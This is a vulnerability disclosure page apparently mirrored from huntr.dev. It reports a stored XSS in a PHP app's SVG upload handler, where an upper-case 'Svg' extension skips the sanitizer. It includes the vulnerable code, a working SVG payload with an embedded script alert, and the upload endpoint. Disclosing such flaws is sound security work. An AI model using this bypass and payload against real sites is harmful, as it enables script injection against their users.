Lucene search

K
huntrFlex0geek22561BFD-A28F-474E-9BFD-7263C1B71133
HistoryJun 29, 2022 - 4:42 p.m.

Bypassing SVG content cleaning lead to Stored XSS

2022-06-2916:42:05
flex0geek
www.huntr.dev
16

5.4 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

3.5 Low

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:S/C:N/I:P/A:N

0.001 Low

EPSS

Percentile

17.9%

Description

the application is accepting SVG files as an image and applies a sanitize on the SVG content to avoid XSS attacks using the following snippet of code

} else if ($ext === 'svg') {

    if (is_file($filePath)) {
        $sanitizer = new \enshrined\svgSanitize\Sanitizer();
        // Load the dirty svg
        $dirtySVG = file_get_contents($filePath);
            // Pass it to the sanitizer and get it back clean
        $cleanSVG = $sanitizer->sanitize($dirtySVG);
        file_put_contents($filePath, $cleanSVG);

    }
    $valid = true;
}

the main point here is if the extension is svg the cleaning will happen so I could bypass it by uploading a file with the extension name Svg not svg just by making the s capital letter this will break the if statement and will bypass the cleaning of XSS payloads.

The following is the content used as a XSS payload

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.location);
   </script>
</svg>

to get the uploading request you can use any uploading function like the one in this page to upload image to the page http://192.168.61.130/test/microweber-master/admin/product/15/edit the request sent to /plupload

5.4 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

3.5 Low

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:S/C:N/I:P/A:N

0.001 Low

EPSS

Percentile

17.9%

Related for 22561BFD-A28F-474E-9BFD-7263C1B71133